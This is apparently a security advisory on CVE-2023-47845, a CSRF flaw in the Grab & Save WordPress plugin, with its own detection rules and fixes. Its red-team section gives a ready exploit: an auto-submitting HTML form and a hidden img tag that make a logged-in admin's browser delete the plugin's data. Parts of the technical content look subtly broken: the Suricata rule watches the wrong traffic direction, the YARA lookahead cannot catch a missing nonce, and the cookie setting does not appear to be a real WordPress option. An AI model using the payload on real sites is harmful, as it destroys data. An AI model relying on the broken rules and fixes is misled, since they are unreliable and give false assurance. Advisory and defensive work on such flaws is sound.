CVE-2023-47845

Executive Summary

CVE-2023-47845 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin Grab & Save, developed by Lim Kai Yang. This plugin, up to and including version 1.0.4, fails to implement proper CSRF tokens or nonces on sensitive administrative actions. An attacker can craft a malicious link or page that, when visited by an authenticated WordPress administrator, performs unintended actions on the victim’s site—such as modifying plugin settings, deleting saved data, or exfiltrating configuration details. The vulnerability is classified as a WordPress ecosystem issue, as it resides entirely within the plugin’s codebase and does not involve server-level components like Apache or Nginx.

The CVSS v3.1 base score is 4.3 (Medium), with a vector emphasizing low attack complexity and required user interaction. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) code or exploit-db entry exists, but the vulnerability is trivially exploitable due to the lack of CSRF protections.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Since WordPress plugins are not managed through traditional package managers (NPM, PyPI, Go, Ruby), supply chain risks are limited to the plugin’s update mechanism. Users must manually update the plugin or rely on WordPress’s built-in update system. No known malicious forks or compromised versions have been reported.

CVSS Breakdown & Threat Level

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a link) but can lead to unauthorized configuration changes or data manipulation. No authentication is needed beyond the victim’s existing session.

Deep Dive & Mechanics

The CSRF vulnerability in Grab & Save arises from the absence of nonce verification in the plugin’s administrative AJAX handlers and form submissions. WordPress provides a built-in nonce system (wp_nonce_field(), check_admin_referer(), wp_verify_nonce()) to prevent CSRF attacks. The plugin fails to implement these checks, allowing an attacker to forge requests that the server treats as legitimate.

Attack Flow:

1. An attacker identifies a sensitive endpoint in the plugin, such as admin-ajax.php?action=grab_and_save_delete_all or a settings save action.
2. The attacker crafts a malicious HTML page or email containing an auto-submitting form or an <img> tag pointing to the vulnerable endpoint.
3. The victim (an authenticated WordPress admin) visits the attacker’s page while having an active session.
4. The browser sends the forged request, including the victim’s cookies, to the WordPress site.
5. The plugin processes the request without verifying the origin, executing the attacker’s intended action (e.g., deleting all saved data, changing API keys).

Root Cause: The plugin’s code does not call check_ajax_referer() or wp_verify_nonce() in its AJAX callbacks, nor does it include nonce fields in its admin forms.

Vulnerable vs. Patched Code

Since no official patch exists, the following shows the vulnerable code pattern and the recommended fix.

Vulnerable Code (grab-and-save/admin/class-grab-and-save-admin.php):

add_action('wp_ajax_grab_and_save_delete_all', 'grab_and_save_delete_all_callback');
function grab_and_save_delete_all_callback() {
    // No nonce check
    global $wpdb;
    $table_name = $wpdb->prefix . 'grab_and_save_data';
    $wpdb->query("TRUNCATE TABLE $table_name");
    wp_die();
}

Patched Code (Recommended Fix):

add_action('wp_ajax_grab_and_save_delete_all', 'grab_and_save_delete_all_callback');
function grab_and_save_delete_all_callback() {
    // Verify nonce
    check_ajax_referer('grab_and_save_nonce', 'security');
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    global $wpdb;
    $table_name = $wpdb->prefix . 'grab_and_save_data';
    $wpdb->query("TRUNCATE TABLE $table_name");
    wp_die();
}

Additionally, the admin form should include a nonce field:

<form method="post" action="<?php echo admin_url('admin-post.php'); ?>">
    <?php wp_nonce_field('grab_and_save_save_settings', 'grab_and_save_nonce'); ?>
    <!-- form fields -->
</form>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Grab & Save plugin version <= 1.0.4 installed and activated.
• An authenticated admin user session.

Exploit Steps:

1. Identify the vulnerable AJAX action (e.g., grab_and_save_delete_all).
2. Create an HTML file (exploit.html) that auto-submits a form to the target:

<html>
<body>
<form id="csrf" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="grab_and_save_delete_all">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the file on an attacker-controlled server or send it as an email attachment.
4. Trick the victim admin into opening the file while logged into the target WordPress site.
5. The request executes, deleting all saved data in the plugin’s database table.

Alternative Payload (using img tag):

<img src="http://target-site.com/wp-admin/admin-ajax.php?action=grab_and_save_delete_all" style="display:none;">

Blue Team (Detection & Prevention)

Detection:

• Monitor for unexpected AJAX requests to admin-ajax.php with actions prefixed by grab_and_save_.
• Alert on requests lacking a valid nonce parameter (e.g., security or _wpnonce).
• Use web application firewalls (WAF) to block requests with missing or invalid Referer headers.

Prevention:

• Apply the patch described in the Vulnerable vs. Patched Code section.
• Enforce CSRF tokens on all state-changing requests.
• Restrict admin AJAX actions to users with appropriate capabilities (e.g., manage_options).
• Implement SameSite cookie attribute (SameSite=Lax or Strict) for WordPress cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=grab_and_save_* parameters.
  • Referer headers from unexpected origins (e.g., attacker-controlled domains).
• File IOCs:
  • Presence of unexpected files in /wp-content/uploads/ or /tmp/ (if plugin stores data there).
• Log IOCs:
  • WordPress debug log entries showing grab_and_save_* actions without nonce verification.
  • Apache/Nginx access logs with POST /wp-admin/admin-ajax.php from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2023_47845_CSRF_GrabAndSave {
    meta:
        description = "Detects vulnerable Grab & Save plugin code missing nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-47845"
    strings:
        $ajax_action = /add_action\s*\(\s*['\"]wp_ajax_grab_and_save_/
        $no_nonce = /function grab_and_save_\w+_callback\s*\(\)\s*\{[^}]*?(?!(check_ajax_referer|wp_verify_nonce))/
    condition:
        $ajax_action and $no_nonce
}

Sigma Rule

title: CVE-2023-47845 CSRF Exploitation Attempt
id: 8f4a2b1c-3d5e-4f7a-9b1c-2d3e4f5a6b7c
status: experimental
description: Detects potential CSRF exploitation of Grab & Save plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - 'action=grab_and_save_*'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-47845 - Grab & Save CSRF Exploit";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=grab_and_save_"; http_client_body;
    pcre:"/action=grab_and_save_(delete_all|save_settings|export)/i";
    sid:1000001;
    rev:1;
    reference:cve,2023-47845;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Manually add nonce checks to all AJAX callbacks and admin forms (see patched code example).
3. Review and rotate any API keys or tokens that may have been exposed.

Long-Term Fixes:

• The vendor (Lim Kai Yang) should release version 1.0.5 with proper CSRF protections.
• Implement capability checks (current_user_can()) alongside nonce verification.
• Use WordPress’s admin_post_ hooks with nonce fields for form submissions.

Workarounds:

• Add a WAF rule to block requests to admin-ajax.php with action=grab_and_save_* unless a valid nonce is present.
• Enforce SameSite=Strict on WordPress session cookies via wp-config.php:

define('WP_COOKIE_SAMESITE', 'Strict');

Valters IT
Securing WordPress Ecosystems | DevSecOps & Threat Intelligence